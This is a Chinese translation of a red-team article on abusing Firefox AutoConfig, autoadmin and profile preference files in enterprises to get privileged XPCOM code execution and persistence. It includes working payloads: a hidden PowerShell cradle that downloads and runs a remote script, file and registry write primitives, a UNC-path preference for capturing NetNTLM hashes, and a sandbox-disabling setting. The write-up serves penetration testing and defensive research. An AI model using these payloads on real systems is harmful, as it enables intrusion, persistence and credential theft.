如何在企业环境中滥用Firefox

 

0x00 前言

在本文中，我们介绍了如何在企业环境中滥用Firefox功能实现命令执行。

在渗透测试及红队行动中，这些功能可以用于横向渗透、持久化以及防御规避。我们在最新版本的Firefox浏览器上测试所有场景。

涉及到的具体版本信息如下：

Firefox Browser 74.0 (64-bit);
Firefox Quantum ESR (Extended Support Release) 68.6.0esr (64-bit);
Nightly 76.0a1 (2020-03-20) (64-bit)

此次研究灵感来自于某次内部渗透测试，当时我们在活动目录（AD）组策略中找到了一个不安全的配置，SCCM（系统中心配置管理器）会将扩展名为cfg、js、jsm的多个文件部署到用户主机中。

比如，SCCM会将autoconfig.js文件部署到路径C:\Program Files (x86)\Mozilla Firefox\defaults\pref\autoconfig.js。

这里的安全问题在于，被攻击的域用户具备存放在GPO中文件的完整控制权限，而SCCM后续会将这些文件部署到相关主机的Mozilla Firefox安装目录中（即应用GPO的OU中的所有计算机对象）。

由于我们在其他企业环境中也见到过类似配置，因此我们决定继续研究，看能否利用这种配置，形成武器化技术。

 

0x01 管理Firefox

我们的研究起点是理解SCCM所部署的文件，我们发现这些文件由CCK2扩展所生成。

CCK2是有一定历史的Firefox扩展，曾在各种组织中广泛使用。这个扩展允许管理员生成自定义扩展，从而实现对浏览器的自定义。Firefox本来想通过GPO来替换这个功能，但该功能目前仍被广泛使用中。

管理员可以使用CCK2实现如下功能：

• 自定义浏览器设置（主页、代理等）；
• 禁用浏览器功能（比如匿名模式等）；
• 设置并锁定浏览器首选项（比如使用户无法修改代理设置）。

大家可以访问Firefox官方了解CCK2扩展。

CCK2会以扩展文件的形式生成扩展，这些文件随后会被部署到浏览器安装目录中。

由于CCK2是一个旧版扩展，因此在安装CCK2生成的扩展时存在一些限制：

1、CCK2 Wizard只适用于Firefox 56及以下版本：

2、需要在about:config中关闭附加组件签名（这个选项只有在Extended Support Release（ESR）、Developer Edition以及Nightly版本中可用）。

这些限制条件可以避免攻击者传播恶意浏览器扩展。由于存在这些限制，我们无法在默认的桌面版Firefox浏览器中安装未签名扩展。

然而在企业环境中，Firefox ESR是默认的浏览器版本，允许管理员禁用附加组件签名检查，以便在内部环境中将自定义扩展安装到员工浏览器中。

这意味着如果具备扩展文件的写权限，恶意攻击者就可以修改这些文件，有可能执行恶意代码。在生成的扩展文件中，有两个文件最为有趣：

autoconfig.js
mozilla.cfg

根据Firefox官网的描述：

AutoConfig文件可以用来设置和锁定Windows组策略（或Mac、Linux上的policies.json）未覆盖到的选项。

这些文件的典型内容如下所示：

这些文件成对出现，存放在Firefox安装目录中。第一个文件为autoconfig.js，存放在defaults/pref目录，为首选项文件。该文件指定了AutoConfig文件的名称（这里为mozilla.cfg，但可以设定为任意值），然而我们无法修改AutoConfig文件的路径（该文件会被放在Firefox安装目录的最上层）。根据Firefox文档：

虽然AutoConfig文件扩展名通常为.cfg，但实际上是一个JavaScript文件，这样我们可以在该文件内写入其他JavaScript，以在不同情况下添加不同的逻辑。

Firefox文档中给出了一系列AutoConfig函数，这些函数在AutoConfig文件中可用，可以用来管理浏览器首选项：

pref(prefName, value)
defaultPref(prefName, value)
lockPref(prefName, value)
unlockPref(prefName)
getPref(prefName)
clearPref(prefName)
displayError(funcname, message)
getenv(name)

大家可以访问此处了解这些函数更多细节。

总而言之，Firefox中存在AutoConfig文件，当GPO无法满足更多需求时，管理员可以利用这些文件来管理浏览器首选项。

这里有2个JavaScript文件应当放在Firefox安装目录中，以便在Firefox下次启动时执行。由于我们的用户具备具备这些文件的写权限，因此我们开始研究如何滥用这些JavaScript文件。

 

0x02 Mozilla XPCOM

XPCOM是一个跨平台组件对象模型，与微软的COM类似。XPCOM绑定了多种语言，XPCOM组件可以通过JavaScript、Java、Python及C++来使用及实现。XPCOM之前在Firefox中被广泛使用，可以简化对操作系统功能的访问。

然而，从版本57开始，Firefox只支持使用WebExtensions API来开发扩展。Firefox称这是XPCOM的安全替代方案。此外，Firefox还表示addons.mozilla.org上不再接受使用XPCOM的旧版插件。

攻击者对XPCOM的滥用可以追溯到多年以前。一开始攻击者会创建恶意扩展，这些扩展在安装时会执行远程访问木马（RAT），这也是Firefox决定迁移到WebExtensions API的主要原因之一。

此外，针对Firefox的各种漏洞利用技术中也会使用XPCOM，作为特权JavaScript上下文中的payload组件。我们可以在Metasploit中使用Firefox payload模块来生成最常用的payload。

然而，由于没有经常维护（某些接口和方法已经改动或被删除）、浏览器部署了其他防御机制（如沙箱）、容易被AV产品检测（比如Windows Defender会将其标识为Exploit:JS/FFShellReverseTcp），这些payload并不适用于现代版本的Firefox。

由于AutoConfig文件可以用来集中化管理浏览器首选项，因此在企业环境中颇受管理员欢迎。从我个人经验来看，这些文件经常比Firefox GPO功能还受欢迎，因为这些文件在部署方式及内容管理上更加直观。

因此，在内部架构中，我们可以看到管理员采用如下方式来实现组策略：

xCopy /Y “\\<dc>\\NETLOGON\msi\FirefoxPolicy\Mozilla\mozilla.cfg” “C:\Program Files\Mozilla Firefox”

本质上管理员都会采用类似脚本将AutoConfig文件部署到主机中。前面提到过，AutoConfig文件是JavaScript文件，由于这些文件在浏览器特权上下文中执行。可以访问XPCOM，因此攻击者可以使用AutoConfig文件中的XPCOM来实现命令执行。

然而在版本62之后，Firefox默认将AutoConfig放在沙箱中，避免攻击者使用危险的XPCOM功能。默认情况下。只有桌面版Firefox（我们尚未分析移动版）启用了沙箱，因此ESR及Nightly版中并没有沙箱化AutoConfig。Firefox对AutoConfig的处理过程在如下代码中：

代码首先会在nsReadConfig.cpp的第135行设置sandboxEnabled变量：

在ESR和Nightly版本中，这个值设置为false，因此这些版本默认情况下并没有沙箱化AutoConfig。由于ESR具备更多的配置功能，大多数企业环境会使用该版本，这也导致攻击者更容易使用本文描述的攻击。

 

0x03 准备恶意AutoConfig文件

默认配置中的恶意代码应当存放在AutoConfig文件中（如mozilla.cfg文件），放在Firefox安装目录中。首选项文件（autoconfig.js）应当放在defaults/pref目录中，在AutoConfig文件中引用。

AutoConfig文件使用的文件名可以在首选项文件中任意设置，然而我们不应当使用dsengine.cfg，这是Firefox源代码（nsReadConfig.cpp）中列入黑名单的一个名称。此外，根据Firefox文档描述，首选项文件的文件名也可以修改为任意值。

典型的AutoConfig文件如下所示，其中包含用来启动calc.exe的XPCOM：

// Any comment. You must start the file with a single-line comment!
defaultPref("browser.startup.homepage", "https://www.mdsec.co.uk/");
// Added malicious code starts here.
var proc = Components.classes["@mozilla.org/process/util;1"]
                       .createInstance(Components.interfaces.nsIProcess);
var file = Components.classes["@mozilla.org/file/local;1"]
                       .createInstance(Components.interfaces.nsIFile);    
file.initWithPath("C:\\Windows\\System32\\calc.exe");
proc.init(file);
var args = [""];
proc.run(false,args,args.length);

如果攻击者具备这些文件的“写”权限，如果存在不安全的GPO，那么攻击者就能修改合法文件，在应用了该GPO的用户主机上运行任意代码。

需要注意的是，有时候Firefox安装目录不在Program Files目录中（比如D:\Mozilla Firefox），如果没有针对非特权用户限制写权限，此时还会出现权限提升攻击场景。

 

0x04 危险操作原语

XPCOM提供了与底层操作系统配合使用的大量接口及类，因此我们可以通过各种方式实现命令执行。在下文中，我们将讨论如何组合某些原语实现命令执行。

命令执行

首先我们可以使用nsIProcess及nsIFile接口简单实现命令执行：

var proc = Components.classes["@mozilla.org/process/util;
                       .createInstance(Components.interfaces.nsIProcess);
var file = Components.classes["@mozilla.org/file/local;1"]
                       .createInstance(Components.interfaces.nsIFile);    
file.initWithPath("C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe");
proc.init(file);
var args = ["-nop", "-w", "hidden", "-c", "$b=new-object net.webclient;IEX $b.downloadstring('http://192.168.56.101/test.ps1');"];
proc.run(false,args,args.length);

PowerShell会作为Firefox子进程来执行：

任意文件写入

我们可以使用nsIFileOutputStream接口将任意文本及二进制文件写入文件系统中：

function writeText(test_str, out_file) {
    var file = Components.classes["@mozilla.org/file/local;1"]
                    .createInstance(Components.interfaces.nsIFile);
    file.initWithPath(out_file);
    var outStream = Components.classes["@mozilla.org/network/file-output-stream;1"].createInstance(Components.interfaces.nsIFileOutputStream);
    outStream.init(file, 0x02 | 0x08 | 0x20, 0666, 0); 
    var converter = Components.classes["@mozilla.org/intl/converter-output-stream;1"].createInstance(Components.interfaces.nsIConverterOutputStream);
    converter.init(outStream, "UTF-8", 0, 0);
    converter.writeString(test_str);
    converter.close();
}

function writeBinary(out_file) {
    var file = Components.classes["@mozilla.org/file/local;1"]
                            .createInstance(Components.interfaces.nsIFile);
    file.initWithPath(out_file);
    var stream = Components.classes["@mozilla.org/network/safe-file-output-stream;1"].createInstance(Components.interfaces.nsIFileOutputStream);
    stream.init(file, 0x04 | 0x08 | 0x20, 0600, 0);                       
    var payload = "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41";
    stream.write(payload, payload.length);
    if (stream instanceof Components.interfaces.nsISafeOutputStream) {
        stream.finish();
    } else {
        stream.close();
    }
}

写入Windows注册表键值

此外我们还可以使用nsIWindowsRegKey接口来处理Windows注册表。比如，我们将某个键值写入注册表中：

function registry_createKey(key_path) {
    var wrk = Components.classes["@mozilla.org/windows-registry-key;1"]
                    .createInstance(Components.interfaces.nsIWindowsRegKey);
    wrk.create(wrk.ROOT_KEY_CURRENT_USER, key_path, wrk.ACCESS_WRITE);
    wrk.close();
}
function registry_setKeyValue(value, data, type, key_path) {
    var wrk = Components.classes["@mozilla.org/windows-registry-key;1"]
                    .createInstance(Components.interfaces.nsIWindowsRegKey);
    wrk.open(wrk.ROOT_KEY_CURRENT_USER, key_path, wrk.ACCESS_WRITE);
    switch (type) {
        case "REG_SZ":
            wrk.writeStringValue(value, data);
            wrk.close();
            break;
        case "REG_DWORD":
            wrk.writeIntValue(value, data);
            wrk.close();
            break;
    }
}

这类XPCOM原语可以用来通过各种方式构造payload，规避AV/EDR产品对特定执行方式的监控。以上我们只给出了部分使用场景，大家可以参考XPCOM文档了解更多接口，构造高级payload。

更多AutoConfig攻击方式

前面提到过，基本的AutoConfig paylaod可以用来完成如下任务：

1、如果AutoConfig文件被部署到Firefox安装目录中，可以用来实现远程命令执行；

2、如果Firefox安装目录具备写权限，可以实现权限提升；

3、如果Firefox安装目录具备写权限，可以实现持久化。

然而，当Firefox被安装到Program Files目录时，只有攻击者具备目标主机的管理员权限时才能实现持久化（我们希望具备用户态持久化能力）。从这一点着手，我们继续研究是否可以由其他入口点，可以用来触发XPCOM，通过普通用户权限来攻击。

Firefox可以将个人信息存放在一系列文件中，这些文件分开存放在Firefox安装目录中。Firefox首选项中包括各种信息，比如密码、书签、扩展项、用户设置等。Firefox可以使用多个首选项，通过about:profiles访问Firefox配置管理器来切换不同的配置。

在这些配置信息中，我们比较感兴趣的是默认存放在用户AppData\Roaming\Mozilla\Firefox\Profiles\目录中的如下配置。我们需要时刻记住的是，用户在管理自己的配置时，可以设置任意的配置目录。当我们通过浏览器界面将选项信息（如启动页面）保存到配置文件中时，这些信息会被保存到prefs.js中，文件内容如下所示：

然而，该文件并不具备XPCOM的访问权限，因此我们无法在其中直接包含XPCOM代码。这是因为首选项文件使用特定的一组函数来执行，这些函数包含在prefcalls.js中。

但我们可以注意到其中包含如下注释：

如果想修改首选项值，我们也可以在user.js文件中进行设置。

根据官方文档，这个文件默认情况下并没有被创建，是“用户可以创建的可选文件，可以覆盖被其他首选项文件初始化过的选项值”。这个文件比较有趣的一点是，该文件优先级最高，高于首选项文件及AutoConfig文件，如下所示：

这意味着即使管理员将首选项文件及AutoConfig文件上传到Firefox安装目录，实现了某些浏览器设置，当前用户也可以通过写user.js文件来覆盖其他设置。然而，由于user.js是首选项文件，因此我们无法从该文件中执行XPCOM代码。

但这里我们可以使用user.js首选项文件，通过一些绕过方法实现任意命令执行。

这里最明显的一种方法，就是在user.js首选项文件中通过general.config.filename选项来引用AutoConfig文件。

这种方法的缺陷在于，Firefox仍然会在安装目录中查找AutoConfig文件：

Firefox不允许为AutoConfig文件设置任意的绝对路径值。

因此，即使攻击者可以通过用户配置目录的恶意AutoConfig文件来设置首选项，我们仍然需要将恶意AutoConfig文件注入到Firefox的安装目录中。

实现命令执行的第二种方法就是将附加外部托管的autoadmin文件，可以参考Firefox文档的如下描述：

AutoConfig文件可以采用中心化管理方式。为了完成该任务，我们需要在主AutoConfig文件中引用辅助AutoConfig文件的位置：

pref(“autoadmin.global_config_url”,”http://yourdomain.com/autoconfigfile.js”);”

在官方文档中，AutoConfig文件（使用cfg扩展名）和首选项文件（使用js扩展名）的区别不是特别清晰。然而我们要注意到，使用autoadmin.global_config_url选项时有些奇怪的特点：

1、我们可以使用任意URI（包括file://），这是Firefox支持的特性。因此，我们可以上传首选项文件，其中设置如下选项，从而窃取到NetNTLM哈希：

pref(“autoadmin.global_config_url”, “file://///10.0.2.15\test\ksek.js”);

2、由autoadmin.global_config_url引用的外部js首选项文件（autoadmin文件）并没有在prefcalls.js导出的沙箱中执行。该文件在下载时，文件内容会被传递给EvaluateAdminConfigScript()函数（参考nsAutoConfig.cpp、nsAutoConfig::OnStopRequest()）。

EvaluateAdminConfigScript()使用先前设置的sandboxEnabled static bool值来执行（参考nsJSConfigTriggers.cpp）。

在Firefox ESR和Nightly中，sandboxEnabled在之前autoconfig文件处理过程中会被设置为false。因此，外部autoadmin js文件会在autoconfigSystemSb JavaScript上下文中执行，使得攻击者可以自由执行基于XPCOM的payload。

然而，如果希望基于autoadmin.global_config_url的技术正常工作，我们需要满足一个条件。Firefox在安装目录中至少应当已经有个AutoConfig文件，并且有个首选项文件引用了这个文件。文件内容无关紧要，在面对内部架构场景时，我们通常能满足这个条件（因为管理员很可能会将AutoConfig文件部署到安装目录）。

此外，当我们分析外部autoadmin文件的使用场景后，我们还可以找到其他入口点文件。首先，在下载完autoadmin文件并且该文件被成功执行后，文件内容会被拷贝到（用户配置目录的）failover.jsc文件中。在如下场景中，该文件会被当成AutoConfig文件来执行：

1、在解析下载的autoconfig文件时出现错误：

2、请求远程autoadmin文件时失败：

3、当网络处于离线状态，且autoadmin.offline_failover选项被设置为true时：

这样我们就可以构造出一些绕过场景。比如在第一阶段，恶意首选项文件使用autoadmin URI部署到用户主机中。在首次启动时，浏览器会下载并执行恶意payload，将恶意autoadmin文件拷贝到failover.jsc。随后，攻击者可以修改攻击者服务器上的autoadmin文件内容，将其改为合法但无效的内容。因此，Firefox在下次重启时，会尝试获取看上去合法的autoadmin文件，但由于该文件内容无效，因此浏览器会转而使用恶意的failover.jsc，而该文件先前已被保存到配置文件夹中。

其次，autoadmin.global_config_preference可以直接从prefs.js默认文件中设置。当浏览器使用user.js（或其他首选项文件）时，会处理文件中的首选项集合，将这些首选项拷贝到配置文件目录下的prefs.js文件中。因此，我们可以直接在prefs.js文件中添加引用恶意autoadmin文件的autoadmin.global_config_url选项。需要注意的是，prefs.js文件中会按字母顺序设置各个首选项，因此我们应当将autoadmin选项插入正确的位置，比如：

// DO NOT EDIT THIS FILE.
//
// If you make changes to this file while the application is running,
// the changes will be overwritten when the application exits.
//
// To change a preference value, you can either:
// - modify it via the UI (e.g. via about:config in the browser); or
// - set it within a user.js file in your profile.
[SNIP]
user_pref("app.update.lastUpdateTime.search-engine-update-timer", 1584442362);
user_pref("app.update.lastUpdateTime.services-settings-poll-changes", 1584443219);
user_pref("app.update.lastUpdateTime.telemetry_modules_ping", 1584442320);
user_pref("app.update.lastUpdateTime.xpi-signature-verification", 1584444609);
user_pref("app.update.migrated.updateDir2.308046B0AF4A39CB", true);
user_pref("autoadmin.global_config_url", "file://///10.0.2.6\\test\\autoadmins.js");
user_pref("browser.aboutConfig.showWarning", false);
user_pref("browser.bookmarks.restore_default_bookmarks", false);
[SNIP]

总结一下，在Firefox启动时，现在我们可以通过如下方式执行XPCOM payload：

1、在defaults/pref中使用恶意首选项文件以及在Firefox安装目录中使用恶意AutoConfig文件。

2、在Firefox配置文件目录中使用恶意首选项文件（user.js或prefs.js），其中引用AutoConfig文件，并且在Firefox安装目录中设置恶意AutoConfig文件。

3、在Firefox配置文件目录中使用恶意首选项文件（user.js或prefs.js），其中使用恶意的autoadmin文件URI。

4、在Firefox配置文件目录中使用恶意首选项文件（user.js或prefs.js），使用无效或者不可访问的autoadmin文件URI，同时在Firefox配置文件目录中将恶意autoadmin文件保存为failover.jsc。

这些方法可以为我们提供在用户模式下的持久化、权限提升（如果目标用户采用自定义用户配置文件目录，且攻击者具备改目录的写权限）以及远程命令执行（如果管理员将配置文件直接部署到用户配置目录中）方法。

 

0x05 启用沙箱的AutoConfig XPCOM

前面描述的命令执行方法默认情况并不适用于桌面版的Firefox，因为该版本中sandboxEnabled变量的值为true。然而，我们可以修改general.config.sandbox_enabled首选项，禁用改特性（参考nsReadConfig.cpp）：

当用户设置sandboxEnabled值后，该值会被传递给CentralizedAdminPrefManagerInit()函数：

CentralizedAdminPrefManagerInit()函数定义位于nsJSConfigTriggers.cpp中，该函数中会将sandboxEnabled变量的值设为传入的参数值。随后EvaluateAdminConfigScript()函数会使用该变量来在autoconfigSystemSb和autoconfigSb之间切换JavaScript上下文：

因此，攻击者只需要在首选项文件中添加一行代码，就能在特权autoconfigSystemSb上下文中执行AutoConfig或autoadmin文件。

通过这种方式，如果攻击者在正在被使用的首选项文件中添加如下一行代码，前面描述的命令执行方法就可以适用于桌面版Firefox：

pref(“general.config.sandbox_enabled”, false);

这里有趣的是，我们也可以在用户的prefs.js中直接设置这个首选项。为了完成该任务，我们应该在文件末尾加入如下一行（配合之前设置的AutoConfig或者autoadmin文件URI）：

在第一次启动时，autoconfig或autoadmin文件中的XPCOM payload会在特权上下文中执行，然而sandbox_enabled首选项会自动从prefs.js中删除。因此在第二次运行时，由于JavaScript上下文不会切换，因此payload不会被执行。由于该功能会自动删除恶意的sandbox_enabled首选项，因此可以适用于一次性执行方案。